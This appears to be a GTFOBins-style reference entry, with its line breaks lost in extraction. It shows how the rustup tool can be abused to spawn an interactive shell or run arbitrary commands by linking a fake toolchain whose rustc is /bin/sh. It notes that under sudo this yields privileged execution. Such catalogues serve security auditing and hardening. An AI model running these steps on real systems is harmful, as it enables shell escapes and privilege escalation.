rustup
Shell
This executable can spawn an interactive system shell.
- This function can be performed by any unprivileged user.
mkdir /path/to/temp-dir/bin/mkdir /path/to/temp-dir/lib/cp /bin/sh /path/to/temp-dir/bin/rustcrustup toolchain link x /path/to/temp-dir/rustup run x rustcThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.mkdir /path/to/temp-dir/bin/mkdir /path/to/temp-dir/lib/cp /bin/sh /path/to/temp-dir/bin/rustcrustup toolchain link x /path/to/temp-dir/rustup run x rustc
Command
This executable can run non-interactive system commands.
- This function can be performed by any unprivileged user.
mkdir /path/to/temp-dir/bin/mkdir /path/to/temp-dir/lib/echo '/path/to/command' >/path/to/temp-dir/bin/rustcchmod +x /path/to/temp-dir/bin/rustcrustup toolchain link x /path/to/temp-dir/rustup run x rustcThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.mkdir /path/to/temp-dir/bin/mkdir /path/to/temp-dir/lib/echo '/path/to/command' >/path/to/temp-dir/bin/rustcchmod +x /path/to/temp-dir/bin/rustcrustup toolchain link x /path/to/temp-dir/rustup run x rustc